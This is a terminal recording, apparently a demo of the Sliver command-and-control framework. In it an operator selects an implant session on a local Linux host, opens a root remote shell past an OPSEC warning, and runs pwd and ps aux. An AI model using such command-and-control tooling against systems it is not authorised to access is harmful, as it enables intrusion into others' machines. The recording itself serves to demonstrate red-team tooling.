[2.945001, "o", "####%%%@ @ @ @%%%####%%%@@@%%%%*+=%----@# \r\r\n #%----=#++*%%%%@%%%%%@%%%%%%%%%@ @%%%%%%%%%@%%%%%@%%%%*++#=----%# \r\r\n %+----===+**@%%@#%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@%%@**+===----+% \r\r\n @=----==++***@%@#%%%%%%%@%%%%@%%%%%%%%%%%%%%%%%%%%@%%%%@%%%%%%%#@%@***++==-----@ \r\r\n -----==+#%**##@@%%%@%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@%%%@@##**%#+==----- \r\r\n %----==+**%%%%@@@#@%%%%%%%%%%@%%%%%%%%%%%%%%%%%%@%%%%%%%%%%@#@@@%%%%*++==----% \r\r\n =--#+=+**#@%%####%####%%%%@@@@@%%%%%%##%%%%%%@@@@@@%%%####%####%%@#**+=+#--= \r\r\n +-==+*%%%%########%#######%@@@@@@%%%%%#%%@@@@@@%#######%########%%%%*+==-= \r\r\n -----==++**#%######################%@@@%%%%@@@%######################%#**++==----- \r\r\n =--===+**######@##############%%%%%%%%%%%%%%%%%%%%##############@######**+===--= \r\r\n %-==+%@@@#######%%%%%%%%%@@%%%%%%%%%%%%%%%%%%%%%%%%@@"]
|
||||
[2.945258, "o", "%%%%%%%%%#######@@@%+==-% \r\r\n @=@@@@@@@@#%%%%%%%%%%%%%%@@%%%%%%%%%%%%%%%%%%%%%%@@@%%%%%%%%%%%%%#@@@@@@@@=@ \r\r\n @@@@@@@@@@@@@%%%%%%%%%%%%@@@@%%%%%%%%**%%%%%%%%@@@@%%%%%%%%%%%%@@@@@@@@@@@@@ \r\r\n @@@@@@@@@@@@@@@@@%%#%@@%%%%@@@@@%%%%%@#**#@%%%%%@@@@@%%%%@@%#%%@@@@@@@@@@@@@@@@@ \r\r\n @@@@@@@@@@@@@@@@@@@@%#####%#%%%%%%%@%###**###%@%%%%%%%#######%@@@@@@@@@@@@@@@@@@@@ \r\r\n @@@@@@@@@@@@@@@@@@@@@@@*##%%%%%%%%%%%%%##**##%%%%%%%%%%%%###*@@@@@@@@@@@@@@@@@@@@@@@ \r\r\n @%%%%%@@@@@@@@@@@@@@@@@@@ %%%%%%%%%%%%%##**##%%%%%%%%%%%%% @@@@@@@@@@@@@@@@@@@%%%%%@ \r\r\n @%%%%%%%%%%%%%%@@@@@@@@@@@@ . %%%%%@%%%%%##**##%%%%%@%%%%% @@@@@@@@@@@@%%%%%%%%%%%%%%@ \r\r\n%%%%%%%@+. % :@%%%%%%%%@@@@@@@@@%@%%@@@@##**##@@@@%%@%@@@@@@@@@%%%%%%%%@: % ..+@%%%%%%% \r\r\n%#. . : .-@%%%%%@@@@@@@@@@@@@@##**##@@@@@@@@@@@@@@%%%%%@-. : .*% \r\r\n @%%@* #..:--=++*@%@@@@@@@@@@@@##**##@@@@@@@@@@@@@@*++==-:. # *@%%@ "]
|
||||
[2.945305, "o", " \r\r\n%%%%%%@..*.:+% ..::+-==++++@-=@@@@@@@@@@@%####%@@@@@@@@@@@=-@++++==-+::.. #+:.*..@%%%%%% \r\r\n@###%.......::%-==++**#@++#*: .:-+@@@@@@@@@@%####%@@@@@@@@@@+-:. .*#++@#**++==-%::.......%###@ \r\r\n#%..........:::-==%+*******@* . .:-+@@@@@@@@@@####@@@@@@@@@@+-: #@*******+%=--:::..........%# \r\r\n@@@+:...::::--=++**@***##*==+ :-+@@@.@@@@%%##%%@@@@.@@@+-: ++=*##***@**++=--::::...:+@@@ \r\r\n @%%%***###%@#****##@##++++++. .:=*@+ @@@@%%##%%@@@@ =@*=:. .+++++=##@##****#@%###***%%%@ \r\r\n@@=====+++++***#####%%%%@++++**#.:=*@ .@@%%####%%@@. @*=:.#***+++@%%%%#####***+++++=====@@ \r\r\n @@@#+++++***##%%%%%***##%%*# @@*------*@@ #*%%##***%%%%%##***+++++#@@@ \r\r\n @@@@%%%@%%%%%. **--------** .%%%%%%%%%@@@@ \r\r\n @%%%% %@@@@@@@@@@@@@ %%%%@ \r\r\n @@ @::@@@@@@@@@@::@ @@ \r\r\n "]
|
||||
[2.945361, "o", " -::::::@@@@::::::: \r\r\n *-----========-----+ \r\r\n @###%%%@@@@%%%###@ \r\r\n @%%%%%%@ \r\r\n\u001b[0m\r\nAll hackers gain cipher\r\r\n"]
|
||||
[2.947373, "o", "\u001b[1m\u001b[36m[*] \u001b[0mServer v1.5.39 - 0b235b4d42d4eb75684825f5d5b30da71ec57d26 - \u001b[1mDirty\u001b[0m\r\r\n\u001b[1m\u001b[36m[*] \u001b[0mWelcome to the sliver shell, please type 'help' for options\r\r\n\r\n"]
|
||||
[2.974764, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[2.976537, "o", "\u001b[1 q"]
|
||||
[2.978132, "o", "\u001b[?25l"]
|
||||
[2.978784, "o", "\u001b[107D"]
|
||||
[2.979482, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[2.982362, "o", "\u001b[0m\u001b[0K\u001b[49m"]
|
||||
[2.982441, "o", "\r\r\n"]
|
||||
[2.982915, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[9D\u001b[9C\u001b[107D\u001b[9C\u001b[?25h"]
|
||||
[4.258103, "o", "\u001b[9D\u001b[9C\u001b[107D\u001b[0J\r\u001b[2K\r\r\n\u001b[1m\u001b[36m[*] \u001b[0mSession e783b0c4 CURRENT_RESIST - 127.0.0.1:60034 (98df0494f659) - linux/amd64 - Wed, 01 May 2024 15:40:22 UTC\r\r\n\r\n\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[?25l\u001b[107D"]
|
||||
[4.258708, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[4.260891, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[9D\u001b[9C\u001b[107D\u001b[9C\u001b[?25h"]
|
||||
[5.300667, "o", "\u001b[?25l"]
|
||||
[5.302348, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[5.306497, "o", "\u001b[6n"]
|
||||
[5.312894, "o", "u\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[5.313942, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[10D\u001b[9C\u001b[107D\u001b[10C\u001b[?25h"]
|
||||
[5.384875, "o", "\u001b[?25l\u001b[107D"]
|
||||
[5.385457, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[5.389899, "o", "us\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[11D\u001b[9C\u001b[107D\u001b[11C\u001b[?25h"]
|
||||
[5.449016, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[5.453269, "o", "\u001b[1m\u001b[32muse\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[5.454408, "o", "\u001b[107D\u001b[1A\u001b[12D\u001b[9C\u001b[107D\u001b[12C\u001b[?25h"]
|
||||
[5.629541, "o", "\u001b[12D\u001b[9C"]
|
||||
[5.631616, "o", "\u001b[6n"]
|
||||
[5.65189, "o", "\u001b[107D\u001b[12C\u001b[0J\u001b[107D\r\r\n"]
|
||||
[5.65267, "o", "\u001b[0 q"]
|
||||
[5.653889, "o", "\r\n"]
|
||||
[5.686583, "o", "\u001b7\u001b[?25l"]
|
||||
[5.686761, "o", "\u001b8"]
|
||||
[5.691331, "o", "\u001b[0G\u001b[2K"]
|
||||
[5.69971, "o", "\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect a session or beacon:\u001b[0m \u001b[0;36m[Use arrows to move, type to filter]\u001b[0m\r\n\u001b[0;1;36m> SESSION e783b0c4 CURRENT_RESIST 127.0.0.1:60034 98df0494f659 root linux/amd64\u001b[0m\r\n"]
|
||||
[5.700278, "o", "\u001b7"]
|
||||
[5.703075, "o", "\u001b[1A"]
|
||||
[5.703177, "o", "\u001b[0G"]
|
||||
[6.170331, "o", "\u001b8\u001b[?25h\u001b8\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect a session or beacon:\u001b[0m\u001b[0;36m SESSION e783b0c4 CURRENT_RESIST 127.0.0.1:60034 98df0494f659 root linux/amd64\u001b[0m\r\n"]
|
||||
[6.174529, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mActive session CURRENT_RESIST (e783b0c4-a506-4030-8059-5044f387ea88)\r\n"]
|
||||
[6.222445, "o", "\r\n"]
|
||||
[6.23339, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[1 q"]
|
||||
[6.233882, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[6.235971, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[26D\u001b[26C\u001b[107D\u001b[26C\u001b[?25h"]
|
||||
[6.87546, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
|
||||
[6.880679, "o", "\u001b[6n"]
|
||||
[6.888371, "o", "s\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[6.892671, "o", "\u001b[107D\u001b[1A\u001b[27D\u001b[26C\u001b[107D\u001b[27C\u001b[?25h"]
|
||||
[6.946863, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[6.951893, "o", "sh\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[28D\u001b[26C\u001b[107D\u001b[28C\u001b[?25h"]
|
||||
[7.04774, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[7.055309, "o", "she\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[7.055457, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[29D\u001b[26C\u001b[107D\u001b[29C\u001b[?25h"]
|
||||
[7.148565, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[7.159295, "o", "shel\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[7.162232, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[30D\u001b[26C\u001b[107D\u001b[30C\u001b[?25h"]
|
||||
[7.284309, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[7.294552, "o", "\u001b[1m\u001b[32mshell\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[31D\u001b[26C\u001b[107D\u001b[31C\u001b[?25h"]
|
||||
[7.38584, "o", "\u001b[?25l"]
|
||||
[7.387228, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[7.392813, "o", "\u001b[1m\u001b[32mshell \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[32D\u001b[26C"]
|
||||
[7.393631, "o", "\u001b[107D\u001b[32C\u001b[?25h"]
|
||||
[7.714403, "o", "\u001b[?25l"]
|
||||
[7.71591, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[7.725962, "o", "\u001b[1m\u001b[32mshell \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D"]
|
||||
[7.727816, "o", "\u001b[1A\u001b[33D\u001b[26C\u001b[107D\u001b[33C\u001b[?25h"]
|
||||
[7.822833, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[7.830898, "o", "\u001b[1m\u001b[32mshell \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-h\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[34D\u001b[26C\u001b[107D\u001b[34C\u001b[?25h"]
|
||||
[7.953294, "o", "\u001b[34D\u001b[26C"]
|
||||
[7.953715, "o", "\u001b[6n"]
|
||||
[7.962404, "o", "\u001b[107D\u001b[34C\u001b[0J"]
|
||||
[7.96533, "o", "\u001b[107D\r\r\n\u001b[0 q\r\n"]
|
||||
[7.971866, "o", "Start an interactive shell\r\n\r\n"]
|
||||
[7.982435, "o", "Usage:\r\n shell [flags]\r\n\r\nFlags:\r\n -h, --help help for shell\r\n -y, --no-pty disable use of pty on macos/linux\r\n -s, --shell-path string path to shell interpreter\r\n -t, --timeout int grpc timeout in seconds (default 60)\r\n"]
|
||||
[7.983666, "o", "\r\n"]
|
||||
[7.998655, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
|
||||
[7.999297, "o", "\u001b[1 q\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[8.000779, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[8.00164, "o", "\u001b[107D\u001b[1A\u001b[26D\u001b[26C\u001b[107D\u001b[26C\u001b[?25h"]
|
||||
[8.432029, "o", "\u001b[?25l\u001b[107D"]
|
||||
[8.434496, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[8.438857, "o", "s\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[27D\u001b[26C\u001b[107D"]
|
||||
[8.439795, "o", "\u001b[27C\u001b[?25h"]
|
||||
[8.517995, "o", "\u001b[?25l"]
|
||||
[8.518546, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[8.5206, "o", "sh\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[8.521011, "o", "\u001b[107D\u001b[1A\u001b[28D\u001b[26C\u001b[107D\u001b[28C\u001b[?25h"]
|
||||
[8.663146, "o", "\u001b[?25l"]
|
||||
[8.664594, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[8.6682, "o", "she\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[8.669284, "o", "\u001b[107D\u001b[1A\u001b[29D\u001b[26C\u001b[107D\u001b[29C\u001b[?25h"]
|
||||
[8.763593, "o", "\u001b[?25l"]
|
||||
[8.763881, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[8.76686, "o", "shel\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[8.767747, "o", "\u001b[0J\u001b[107D\u001b[1A\u001b[30D\u001b[26C\u001b[107D\u001b[30C\u001b[?25h"]
|
||||
[8.896958, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
|
||||
[8.900344, "o", "\u001b[6n"]
|
||||
[8.909045, "o", "\u001b[1m\u001b[32mshell\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[8.913696, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[31D\u001b[26C\u001b[107D\u001b[31C\u001b[?25h"]
|
||||
[9.670371, "o", "\u001b[31D\u001b[26C\u001b[6n"]
|
||||
[9.683362, "o", "\u001b[107D\u001b[31C\u001b[0J\u001b[107D"]
|
||||
[9.684816, "o", "\r\r\n\u001b[0 q\r\n"]
|
||||
[9.703556, "o", "\u001b[0G\u001b[2K"]
|
||||
[9.708032, "o", "\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mThis action is bad OPSEC, are you an adult? \u001b[0m\u001b[0;37m(y/N) \u001b[0m"]
|
||||
[9.710627, "o", "\u001b[?25l\u001b7\u001b[999;999f\u001b[6n"]
|
||||
[9.71436, "o", "\u001b8\u001b[?25h\u001b[6n"]
|
||||
[10.373281, "o", "y"]
|
||||
[10.65143, "o", "\u001b[1D\r\n\u001b[1B\u001b[0G\u001b[1A\u001b[0G"]
|
||||
[10.65768, "o", "\u001b[0G\u001b[2K"]
|
||||
[10.668002, "o", "\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mThis action is bad OPSEC, are you an adult? \u001b[0m\u001b[0;36mYes\u001b[0m\r\n"]
|
||||
[10.669974, "o", "\r\n"]
|
||||
[10.671666, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mWait approximately 10 seconds after exit, and press <enter> to continue\r\n\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mOpening shell tunnel (EOF to exit) ...\r\n\r\n"]
|
||||
[10.799989, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mStarted remote shell with pid 14798\r\n\r\n"]
|
||||
[10.893078, "o", "\u001b[?2004h"]
|
||||
[10.901365, "o", "root@98df0494f659:~# "]
|
||||
[12.351295, "o", "p"]
|
||||
[12.400776, "o", "w"]
|
||||
[12.458265, "o", "d"]
|
||||
[12.558938, "o", "\r\n"]
|
||||
[12.564499, "o", "\u001b[?2004l\r/root\r\n"]
|
||||
[12.564786, "o", "\u001b[?2004hroot@98df0494f659:~# "]
|
||||
[13.283473, "o", "p"]
|
||||
[13.347332, "o", "s"]
|
||||
[13.447738, "o", " "]
|
||||
[13.569948, "o", "a"]
|
||||
[13.651951, "o", "u"]
|
||||
[13.74698, "o", "x"]
|
||||
[13.901878, "o", "\r\n"]
|
||||
[13.905982, "o", "\u001b[?2004l\r"]
|
||||
[13.964101, "o", "USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND\r\n"]
|
||||
[13.968729, "o", "root 1 0.0 0.5 150092 10356 pts/0 Ssl 12:51 0:01 /usr/bin/qemu-x\r\nroot 14557 0.0 0.5 150096 10884 pts/0 Sl+ 15:33 0:00 /usr/bin/qemu-x\r\nroot 14562 0.8 0.8 153188 16916 ? Rsl 15:33 0:03 /usr/bin/qemu-x\r\nroot 14564 0.0 0.7 150056 15236 pts/1 Ssl 15:33 0:00 /usr/bin/qemu-x\r\nroot 14576 0.0 0.6 149924 13864 pts/2 Ssl 15:33 0:00 /usr/bin/qemu-x\r\nroot 14756 5.8 2.6 254848 54372 pts/1 Sl+ 15:40 0:00 /usr/bin/qemu-x\r\nroot 14759 1.5 2.2 179932 45888 pts/1 Sl+ 15:40 0:00 /usr/bin/qemu-x\r\n"]
|
||||
[13.972967, "o", "root 14761 0.0 2.2 179840 44944 pts/1 Sl+ 15:40 0:00 /usr/bin/qemu-x\r\nroot 14763 0.0 0.4 147028 8168 pts/3 Ssl 15:40 0:00 /usr/bin/qemu-x\r\nroot 14766 0.5 0.6 150132 14128 pts/3 Sl 15:40 0:00 /usr/bin/qemu-x\r\nroot 14776 37.1 8.5 1586752 174620 pts/3 Sl+ 15:40 0:04 /usr/bin/qemu-x\r\nroot 14788 11.3 3.2 1402788 65644 pts/2 Rl+ 15:40 0:01 /usr/bin/qemu-x\r\nroot 14798 2.6 0.7 149888 15152 pts/4 Ssl 15:40 0:00 /usr/bin/qemu-x\r\nroot 14808 0.0 0.5 151556 11160 ? Rl+ 12:46 0:00 /usr/bin/ps aux\r\n"]
|
||||
[13.974954, "o", "\u001b[?2004hroot@98df0494f659:~# "]
|
||||
[14.859878, "o", "e"]
|
||||
[14.981544, "o", "x"]
|
||||
[15.186988, "o", "i"]
|
||||
[15.300042, "o", "t"]
|
||||
[16.317173, "o", "\r\n\u001b[?2004l\r"]
|
||||
[16.317907, "o", "exit\r\n"]
|
||||
[27.335347, "o", "Shell exited\r\n"]
|
||||
[27.335779, "o", "\r\n"]
|
||||
[27.345826, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
|
||||
[27.345955, "o", "\u001b[1 q\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
|
||||
[27.346606, "o", "\u001b[6n"]
|
||||
[27.34811, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[26D\u001b[26C\u001b[107D\u001b[26C\u001b[?25h"]
|
||||
[27.410752, "o", "^C\u001b[26D\u001b[26C\u001b[6n"]
|
||||
[27.412331, "o", "\u001b[107D\u001b[28C\u001b[0J\u001b[107D\r\r\n\u001b[0 q\r\n"]
|
||||
[27.412687, "o", "\r\n"]
|
||||
[27.422394, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
|
||||
[27.423261, "o", "\u001b[1 q\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[27.42469, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[27.425042, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[26D\u001b[26C\u001b[107D\u001b[26C\u001b[?25h"]
|
||||
[27.494698, "o", "^C\u001b[26D\u001b[26C\u001b[6n"]
|
||||
[27.503282, "o", "\u001b[107D\u001b[28C\u001b[0J\u001b[107D\r\r\n\u001b[0 q\r\n\r\n"]
|
||||
[27.507134, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
|
||||
[27.507504, "o", "\u001b[1 q\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[27.509273, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[26D\u001b[26C\u001b[107D\u001b[26C\u001b[?25h"]
|
||||
[27.578246, "o", "^C\u001b[26D\u001b[26C\u001b[6n"]
|
||||
[27.579453, "o", "\u001b[107D\u001b[28C\u001b[0J\u001b[107D\r"]
|
||||
[27.580014, "o", "\r\n\u001b[0 q\r\n\r\n"]
|
||||
[27.591116, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
|
||||
[27.591516, "o", "\u001b[1 q\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[27.592964, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[26D\u001b[26C"]
|
||||
[27.593261, "o", "\u001b[107D\u001b[26C\u001b[?25h"]
|
||||
[27.661634, "o", "^C\u001b[26D\u001b[26C\u001b[6n"]
|
||||
[27.663187, "o", "\u001b[107D\u001b[28C\u001b[0J\u001b[107D\r\r\n"]
|
||||
[27.664506, "o", "\u001b[0 q\r\n\r\n"]
|
||||
[27.67636, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
|
||||
[27.676498, "o", "\u001b[1 q\u001b[?25l\u001b[107D"]
|
||||
[27.676539, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[27.678253, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[26D\u001b[26C\u001b[107D\u001b[26C\u001b[?25h"]
|
||||
[29.665521, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[29.670934, "o", "b\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[27D"]
|
||||
[29.6716, "o", "\u001b[26C\u001b[107D\u001b[27C\u001b[?25h"]
|
||||
[29.719423, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[29.722677, "o", "ba\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[28D\u001b[26C\u001b[107D\u001b[28C\u001b[?25h"]
|
||||
[29.791499, "o", "\u001b[?25l\u001b[107D"]
|
||||
[29.792368, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[29.794811, "o", "bac\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[29D\u001b[26C\u001b[107D\u001b[29C\u001b[?25h"]
|
||||
[29.896305, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
|
||||
[29.896713, "o", "\u001b[6n"]
|
||||
[29.90024, "o", "back\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D"]
|
||||
[29.90097, "o", "\u001b[1A\u001b[30D\u001b[26C\u001b[107D\u001b[30C\u001b[?25h"]
|
||||
[30.048424, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[30.05971, "o", "backg\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[31D\u001b[26C\u001b[107D\u001b[31C\u001b[?25h"]
|
||||
[30.109396, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
|
||||
[30.111245, "o", "\u001b[6n"]
|
||||
[30.114003, "o", "backgr\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[32D\u001b[26C\u001b[107D\u001b[32C\u001b[?25h"]
|
||||
[30.138994, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[30.141645, "o", "backgro\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[33D\u001b[26C\u001b[107D\u001b[33C\u001b[?25h"]
|
||||
[30.197303, "o", "\u001b[?25l"]
|
||||
[30.198156, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[30.20018, "o", "backgrou\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[34D\u001b[26C\u001b[107D\u001b[34C\u001b[?25h"]
|
||||
[30.236701, "o", "\u001b[?25l"]
|
||||
[30.236881, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[30.238892, "o", "backgroun\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[30.239186, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[35D\u001b[26C\u001b[107D\u001b[35C\u001b[?25h"]
|
||||
[30.342878, "o", "\u001b[?25l\u001b[107D"]
|
||||
